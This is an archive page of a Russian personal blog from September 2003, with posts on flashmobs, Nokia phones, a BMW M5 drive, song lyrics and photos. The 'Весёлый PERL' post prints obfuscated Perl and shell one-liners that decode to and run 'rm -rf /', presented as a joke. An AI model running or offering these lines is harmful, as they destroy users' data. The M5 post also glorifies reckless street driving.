Posts on September 2003

Мода бодиарта?

Подумалось... что-то модными стали акции, когда на событие приглашают моделей, раздевают их и разрисовывают в цвета/логотипы компании/мероприятия...

«МЕГАФОН» устраивает шоу с клубничкой… потом модели «Пентхауса» расширили зону обслуживания клиентов «МЕГАФОНА»... а недавно, отмечая семи-летие и «RAMBLER» отличился... Не спорю, толпа хочет хлеба и зрелищ... только хлебом накормить не очень-то спешат. Видимо придется ждать Христа… зато всего остального — навалом.

PS: Вспомнилось – Бодиарт & Астрология

Весёлый PERL

[root@srv]# cat «test… test… test…» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Весёлая строчка... которая в конце-концов, будучи запущенная из-под root-a легко и непринужденно исполняет «rm -rf /». Найдено тут.

аналогичные... сточки

echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -'

ISF=$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');$ISF 2>/dev/null

Ах какие глазки

Интересные линзы... весёлые цены... но тем не менее, я бы не против приобрести себе подобное. Правда кроме как разово, «для прикола», их не особо часто придется носить

Подробнее, с большим выбором, смотрим сюда.

Флэшмоб в Молдове

Что такое флэшмоб
Флэшмоб — это внезапное одновременное появление большого количества людей в заранее условленном месте. При этом люди совершают некоторые совместные действия, после чего быстро расходятся. Как правило, эти действия не имеют никакого смысла и совершаются для получения удовольствия.

Насколько я вижу — волна докатилась и до нас 🙂

ПЕРВЫЙ «FLASHMOB» В МОЛДОВЕ СОСТОИТСЯ 28 сентября 2003 г. Воскресенье, 12.00

Подробности здесь а от себя добавлю что это довольно любопытная практика расползается с завидной устойчивостью и скоростью. А всё дело в психологии и увлечении толпы людей. Не так давно, «в моде» было течение «знатоков» НЛП, которое являясь довольно мощным инструментом, использовалось довольно банально, для съёма девушек :)))

Но что ни говори, а управление толпой, и эффект от этого сильный в любом случае... да и азарт людей учавствующих в этих «мероприятиях» сильный. Тем более что это увлекает понятием «толпа».

Кстати меня очень интересует что за этим последует и насколько реально организовать наш, молдавский народ, привыкший валить толпами лишь на какую-нибудь организованную «халяву» (как сладко это звучит для уха экс-советского человека)...

Расстояние

Лучше бы не звонил... Хотя нет, неправда, хорошо что позвонил. Услышал... но тоска еще сильней нахлынула. Тем более слыша, на другом конце, те же нотки в голосе.

Дикое желание бросить всё, и сорваться туда... увидеть, дотронутся, поднять на руки, прижать к себе не отпускать... не ожидал я что такое на меня нахлынет. Вроде всё было обычным, обыденным, тысячи раз пройденным ... но... была и изюминка, маааленькая, незаметная, но которая изменила всё, как точно дозированные приправы в французском бульоне так высоко ценимый гурманами. Я не знаю что будет впереди, слишком большое расстояние и время отделяет нас, но если это именно то чудо которое я ждал и искал, оно останется чудом вне зависимости от любых условий...

Танцы

Ультрамариновые танцы, танец живота и терракоторвые танцы. © by Ася Ахундова, photosight.ru

Общение со зверем

... включенная в shuffle магнитола выцепила в чейнджере «SCOOTER-WeekEnd» и правая нога сама вдавила «в пол» педаль газа. Реакция мгновенная – сумасшедшее ускорение и мгновенно взлетевшая в красный сектор стрелка тахометра. Переключиться не успел, сработала электроника и ограничитель «придушил» двигатель. На пару секунд, которых хватило чтобы чертыхнуться от досады, отпустить и вновь «втопить пимпу» и успеть переключиться в повышенную...

На М5 по-другому не получается ездить. Пусть даже и не на топовом M5 с 5-ю лирами дури под капотом а при «скромных» 3,5 литра «эМка» позволяет чувствовать очень явственно вкус адреналина и удовольствие от вождения подобного «дорожного перехватчика». Я могу только догадываться что в силах исполнять на дороге «эм-пятая» с форсированной V-образной «восьмеркой» умеющая за чуть больше чем 5 секунд набрать сотню.

Хотя нет, можно, вальяжно отвалить от бордюра, чуть погладить педаль газа и тремя пальчиками переключить скорость, чтобы еще через несколько секунд переключится на следующую ступень. Внешне, на первый взгляд, отличающаяся от серийных «пятерок» разве что другим бампером и четырьмя выхлопными патрубками, «эм-пятая» умеет казаться тихим урчащим зверьком, но стоит его разозлить и еле слышное урчание превращается в звенящий рев.

... вдавливая в облегающее кресло, «эм-пятая», без намёков на раздумье «рвет и мечет» заставляя очень быстро занять крайний левый ряд и даже там вопреки правилам перестраиваться и обгонять по правой стороне автомобили которые как в замедленной съемке еле-двигаются.

Впереди красный свет и осаженная ABS, машина замирает у белой черты, доказывая что вся мощь машины под контролем также, приятно, дающая знать водителю кто именно её контролирует. Кстати о контроле... хитро улыбаясь, тыкаю в кнопку отключения системы динамической стабилизации, что мне настоятельно не рекомендовали делать... и переключение светофора на зеленый совпадает с резким свистом сорванных в пробуксовку задних колес. В зеркалах – вырывающийся из-под задних крыльев сизый дым сгорающей резины. Успеваю переключится, одновременно пытаясь удержать машину от заноса что, в свою очередь, не очень получается, но вскипевший адреналин не позволяет отпускать педаль газа и машина выравнивается лишь после переключения в третью передачу... вновь светофор... и вновь сизый дым уже из под всех четырех колёс... и вновь замершая, с недовольным рыком, у черты машина...

Нет, город – это конечно любопытный опыт в вождении мощной машины, но ... не то. Попробуем выехать за город. Последний светофор, поворот направо, придавленный до упора акселератор и... ловлю машину уже на встречной полосе. Мдэээ... из меня такой же гонщик как из святого батюшки – рок-звезда. Останавливаюсь у бордюра, выключаю музыку, досчитываю до 10. Не стоит так отдаваться детскому азарту и быть ведомым уровнем адреналина... ой как не стоит... Столько ошибок за столь короткий срок... в сердцах, злясь на себя, включаю обратно DSC. Первая передача, и машина контролируемая уже не только водителем а вдобавок и электроникой, вписывается в выезжающий из города поток машин. Включаю музыку и ... чейнджер находит диск с Helloween !! «...We’ve got the power, we are divine… We have the guts to follow the sign...» Ностальгия моментом излечивает злость на себя, и остается мощная музыка, послушный руль мощной машины, и чистая трасса впереди... манящая... зовущая... Yes, baby!!! Тапку в пол и зверь просыпается, всё же придерживаемый и противобуксовочной системой, от которой я бы не прочь временно избавится, и системой динамической стабилизации которую я пока предпочту не выключать. Несмотря на это стрелка спидометра довольно резво поднялась и начала заваливаться вправо. КАЙФ!!! Приглушаю Helloween, чтобы насладится другой музыкой – звуком монстра спрятанного под капотом, рыком разозленного зверя... А между тем деревья на обочине стали мелькать гораздо быстрее привычного, руль стал гораздо жестче... блаженство скорости после ускорения не передается словами. Стрелка спидометра переваливает отметку «200» а машина все продолжает уверенно идти вперед с упорством раскочегаренного бронепоезда... я так и не дошел до ограниченных по паспорту 250 км/ч... не хватило каких-то 20-30 км/ч, но я начал неуверенно себя чувствовать в этом снаряде летящем вдоль разметки. Не привыкший я к таким скоростям. Нет у нас достойных этому аппарату дорог. А жаль.

Зная что не стоит подобное делать на такой высокой скорости, всё-же переключаюсь в нейтраль и в полной мере наслаждаюсь свободным полетом, парением на дороге, когда слышен только гул широких шин по асфальту... это свобода... отстраненность от всего... когда всё как бы находится в другом мире... пролетающем мимо справа и слева ... и остающимся позади.

Пора возвращаться. Широкая дорога, можно немного понаглеть вспомнив буйство заднего привода «эм-пятой». Подоткнутая вторая передача, тормоз в пол, выключенный DSC, бросаю руль влево одновременно втопив в пол педаль газа, но еще не отпуская полностью тормоз... Я конечно ждал буйной реакции на всё это, но ТАКОЙ взрыв энергии, и напряженных нервов вызвал бы восторг даже у равнодушного к таким вещам человека. Конечно не всё получилось как хотелось, и разворот был далек от четко выверенных действий профессионалов, но машина недвусмысленно показав свой дикий нрав при отключенных системах контроля, всё-же двигалась в противоположном направлении очень резво набирая скорость. Приноровившись переключать передачи на грани красного сектора, я понял что явно потерял объективное ощущение времени. Осталась только машина, свободная, не удерживаемая ничем, опасная, но тем не менее послушная... и дорога домой... Громкость аудиосистемы вывернутой на максимум, добавляло свои граммы адреналина, подстегивая и подзадоривая... «...I’m a steel tormentor... And I speed ’round ev’ry curve...»

Влетев, иначе никак не назвать, в город, сбавляю скорость ориентируясь по стрелке спидометра, так как понимаю что окончательно потерял и ощущение скорости тоже. После высоких скоростей и таком уровне кипящего в крови адреналина, восприятие взвинчивается, и кажется что идешь пешком, причем вокруг все стоят на месте... С удовольствием замечаю взгляды брошенные на машину. Восторженные, завистливые, выжидающие, но не безразличные! Очередной светофор и стоящая перед ним красная, прижатая к земле, обвешанная спойлерами Honda. Улыбаюсь и приноровившись к характеру машины, мягко подкатываюсь и останавливаюсь слева, рядом. Брошенный вправо взгляд и пойманный в ответ сказали всё. Зеленый. Honda срывается с визгом передних колес... а я от души смеюсь... понимая всю комичность ситуации. Тронувшись довольно мягко и продолжая улыбаться уверенный в мощи зверя, отпускаю красную вперед и во второй передаче давлю акселератор до предела ... через несколько секунд пролетаю мимо Хонды и успевая уже далеко впереди её перестроится между каким-то «шумахером» решившим исполнить обгон троллейбуса по встречной и кажущимся стоящим на месте Москвичом. Вписываюсь в поток и наслаждаюсь огромной волной уверенности в этой поистине потрясающей машине, в её возможностях, норове, и мощи. Как же приятно ехать медленно, пропуская мимо обгоняющих тебя спешащих куда-то или такими же болеющими зависимостью от чувства ускорения как и я... но будучи уверенным что при необходимости, она не станет раздумывать, а сразу ринется туда куда ты её уведешь...Ощущение я вам скажу – не сравнимое для меня ни с чем...

Жаль что приходится расставаться со зверем, но теперь я, вкусив этот плод, знаю к чему я хочу стремиться.

Шторм

­

Что означают двойственные ощущения?

30 минут назад идя мимо Бюро Ритуальных Услуг «RITUAL» что находится в моём незабвенном городе, в антураже венков, бархата, гробов и крестов был услышан довольно приятный, выразительный, девичий и довольно долгий ... СМЕХ. 🙂

Нет, я ничего против этого не имею, но окружение обязывает... или нет?

Тёзка-центр

Сегодня (17/09/2003 12:03) на 3DNews нашел себе подарочек. Так что если кто желает сделать мне приятное — я очень буду радоваться следущему дивайсу:

музыкальный центр UX-J99DVD от JVC-Victor. Музыкальная система будет выпускаться в двух цветовых решениях — серебристого (UX-J99DVD-M) и темно-серого (UX-J99DVD-S) цвета.

Музыкальный центр имеет пяти дисковый DVD «чейнджер», MD деку, AM/FM тюнер с поддержкой RDS и двух канальную акустическую систему. UX-J99DVD может проигрывать DVD, MP3 и JPEG файлы записанные на CD-R или CD-RW диски. Для просмотра DVD на тыльной части имеются все необходимые выходы. Мощность усилителя — 30Вт. Для подключения внешних источников, вывода изображения и звука предусмотрен 2-канальный аудио вход, D2 и S-Video выходы, оптический выход (для набора акустики типа 5.1) и выход на наушники. Акустическая система двух полосная (один 110 мм среднечастотный динамик и один высокочастотный, диаметром 25 мм). Габариты центрального блока — высота 175 мм x ширина 378 мм x глубина 240 мм, вес — 7,8 кг; акустической системы — высота 240 мм x глубина 204 мм x ширина 135 мм, масса — 2 кг (каждая колонка).

Идет дождь...

Хреновое настроение и тоскливо на душе... и почему-то не хочется его поднимать... Изредка бывает что хочется просто погрустить, даже не задумываться о вечном, возвышенном, а просто погрустить... чуточку себя пожалеть, чуточку помечтать, чуточку пожалеть о не содеянном... Приостановить ежедневную гонку жизни... немного поглядеть как мимо пробегают, пролетают (а кое-кого уже и проносят). Никто не спорит что жизнь прекрасна сама по себе, моя благодарность тому кто её придумал...

"Ты не один
"

ДДТ
  Когда идет дождь, когда в глаза свет,

Проходящих мимо машин и никого нет...

На дорожных столбах венки, как маяки

Прожитых лет. Что ты в пути?..

Третью жизнь за рулем, три века без сна

Заливает наши сердца серым дождем,

И кажется все: по нулям кислород и бензин,

И с кем-то она, но все-таки знай —

Ты не один...

Ветви старых дорог хлещут тебя по лицу.

Нас гоняет по свету ветер и рок.

Золотая листва, полыхая огнем,

Вместе с верностью рвется к концу.

Лишь ночной чернозем

Чернозем...

Да в небе звезда.

Ты не один...

На дороге туман — нам мерещится дым.

Ты уехал за счастьем — вернулся просто седым.

И кто знает какой новой верой решится эта борьба?

Быть, быть на этом пути — наша судьба!

Ты не один...

Ты не один...

Когда идет дождь.

Любопытные рисунки

за ссылкой — картинки по-больше размером.


к сожалению — копирайт утерян... 🙁 если встретите где-то названия и имя автора — сообщите.

Сетования NOKIAфила

Я – NOKIAфил. И в какой-то мере консерватор. Признаю и не смущаюсь. Думаю что вряд ли изменю этой фирме в дальнейшем, хоть и в последнее время она допускает досадные «косяки» которые не могут не портить мнение и расстраивать.

У меня всегда были телефоны этой фирмы, и я ничуть не жалею об этом... ну «не легла душа» к другим телефонам других компаний, хотя признаю существуют много достойных экземпляров. В последнее время пересмотрел много форумов по этой тематике и прочитал много высказываний людей. У самого накопились много вещей которые рвутся наружу 🙂 Это натолкнуло меня на написание этой статейки.

Если рассматривать линейку телефонов Nokia напрашиваются несколько вопросов, ответы на которые хочется узнать:

Зачем Нокии столько разных моделей?

Неужели нельзя построить несколько базовых платформ, напихать туда максимум функций и иметь возможность менять лишь внешний вид. Кардинально. В принципе этот процесс прослеживается на последних 6610/7210/6100 – они все построены на унифицированной «40-й платформе». НО... отличаясь в мелочах – это разные телефоны. С точки зрения потребителя – гораздо удобнее было бы купить базовую платформу, и лишь внешним корпусом превращать её (хоть 10 раз в день) в разные по виду телефоны. Да, есть сменные панели, но в большинстве случаев это лишь смена цвета. А что мешает менять ПОЛНОСТЬЮ ВНЕШНИЙ ВИД? На работе, в офисе использовать строгую гамму и вид (6100/6610), на природу запихнуть его в прорезиненный корпус (5100), на какую-нибудь тусовку превратить его в стильный и яркий телефон (7210/7250). Это же РЕАЛЬНО! И не думаю что сильно скажется на маркетинге и доходах фирмы. Скорее придется менять его немного и довести до другого уровня сервиса. Я на полном серьезе готов заплатить не 7 долларов за сменную панель а все 20 за полноценный ДРУГОЙ корпус и дизайн телефона. Я не говорю про китайцев-умельцев качество их корпусов не то что оставляет желать лучшего, оно вообще отсутствует.

Прошивки... прошивки...

Создается такое впечатление что у Nokia самая хреновая команда программистов в мире... любая новая функция меню делается сродни очередному чуду света... за столько времени только в 6510 НАКОНЕЦ-ТО добавили функцию автоблокировки клавиатуры. И только в 40-й платформе (6100/6610/7210/7250/5100) добавили возможность показа времени сразу после разговора + возможность отключить при входящем звук звонка не отклоняя вызов. Нет, ну надо же ПРОГРЕСС!!! Это же сколько умов должны были думать чтобы добавить 10 строк кода в прошивку!! Или например возможность назначить на правую софт-клавишу наиболее часто используемые функции возможно ТОЛЬКО в 7250/7250i. И для чего в 6100/6610/7210/7250/5100 убрали голосовой набор? Чтобы добавить в 6220? За деньги? Попахивает гнилью.

Я как пользователь хочу чтобы в моём телефоне было МАКСИМУМ возможных функций. Другой вопрос – какие из них я буду использовать. Не собираюсь пользоваться – отключаю их в настройках чтобы не мелькали. И всё. Но я доволен что они ЕСТЬ. Пусть я встроенным радио попользуюсь 4 раза в жизни, но я буду доволен что ОНО ЕСТЬ и у меня ЕСТЬ возможность послушать радио если придется скучать в дороге. ТО же самое с встроенной камерой. Хотя её наличие в телефоне я пока не допонял и не очень-то хочу за это платить. Качество картинок – отстой (ну да, «для просмотра на экране телефона»), возможность назначить на имя звонящего его фотографию классно, но пусть оценят это те кому это надо. Плюс ко всему эпопея с 7250 и 7250i БЕЗ возможность прошивкой изменить неполноценный 7250 в 7250i (именно эта возможность прикрутить фотку к звонящему). Несогласованность маркетинга и тех. отдела? Гм...

Или например картинки в меню. Ну зачем заставлять людей мучаться выбором из-за досадных мелочей. Мне к примеру очень нравятся картинки меню в 6610 (или даже анимированные красиво в 7250) но не нравятся в 6100. Хотя по дизайну самих ттрубок – с точностью до наоборот. Разве трудно добавить возможность назначить набор иконок?? Это настолько сложно???

Кстати про дизайн и функциональность.

У меня сейчас Nokia 6100. в плане внешнего вида – это один из самых удачных дизайнов Nokia. IMHO. Такими же удачными считаю 7250 (с оговорками), 6510, 8210, 8250, 8280, 6650, и 3210 ( http://sotovik.ru/catalog/phones/nokia.htm — здесь маленькие картинки на всю линейку Нокия) НО. Мне не нравятся картинки в меню. В ней нет возможности назначить на правую клавишу набор из самых часто используемых функций. В нем нет радио. И немного прогибается (как и люфт на 6610) задняя крышка (я не понимаю как в телефоне за такие деньги можно допустить это!?). Вот и мучаюсь выбором телефона. Оставить этот или взять 7250i с ненужной мне камерой и не особо нравящимися цифровыми клавишами. Или к примеру 6610 с имеющимся в наличии радио, приятными иконками, но с отвратительным дизайном. Не спорю, клавиши удобнее чем в 6100 и лучше лежит в руке (мужской), но на вид...

Насчет цветного дисплея...

Вопящие на всё товарищи, что мол «вам шашечки или ехать» — «вам звонить с трубки или разглядывать цветное меню» — идут ЛЕСОМ. Мне нравится цветной дисплей. И я уже ни за какие коврижки не возьму себе телефон с монохромной матрицей. Плюс ко всему монохромные дисплеи у Nokia меня всегда раздражали из-за крупного зерна. Даже в самых топовых телефонах линейки.

Насчет полифонии... двойственно.

Красиво, нет слов, но на улице таки плохо слышно, да и сразу не поймешь твой ли телефон звонить или чей-то в отдалении. Спасает вибра. НО. Когда-то покупая замену на 3210 (мой любимый телефон от Nokia) я остановился на 33хх и взял 3330 вместо 3310 из-за одной лишь функции: «вибра ПОТОМ звонок». В 6100 её опять нету :- ( видимо в Nokia решили что раз есть полифония – всем радоваться!..

Насчет радио: да, знаю что можно купить гарнитуру со встроенным радио, но я хочу чтобы оно было в меню. С возможностью запомнить и назначить названия радио-станциям. Я не настаиваю чтобы «железная» часть радио находилась в самом телефоне (хотя не думаю что при современных технологиях это займет много пространства) она может находится и в самой гарнитуре (раз она и так используется в качестве антенны и без неё никак). Но когда я подключаю такую гарнитуру пусть у меня активируется соответствующий пункт в меню. Управлять всем я предпочитаю централизованно.

Насчет Ява приложений. УРА! Приветствую. НО – пока что коряво. Когда можно будет встраивать пользовательские функции (приложения) в основную базовую программу (прошивку) телефона – тогда будет прекрасно. Тогда решится проблема и софт-клавиши, и отсутствия диктофона/голосового набора итд... А пока что, довольно недоделано выглядит. Но хоть что-то... Кстати разыскивается мифическое Ява приложение для управления бытовой техникой по IrDA 🙂

Глас народа

Некогда, по инициативе Korvin-a в e-mail конференции RavenThe а потом и Night-Flame был проведен эксперимент: любой участник конференции мог охарактеризовать, высказать своё мнение, о любом другом участнике.

Мне стало интересно что люди скажут обо мне самом здесь, в он-лайне. Комментарии не редактируются и не стираются 🙂 Высказывайтесь, может быть не всё так хорошо как мне кажется 😉 мне интересно, и важно что обо мне думают знакомые и не знакомые мне люди. Заранее благодарю за искренность!

Девушка и квадраты

Сетка и девушка © by Олег Косырев, photosight.ru

Страница 1 из 212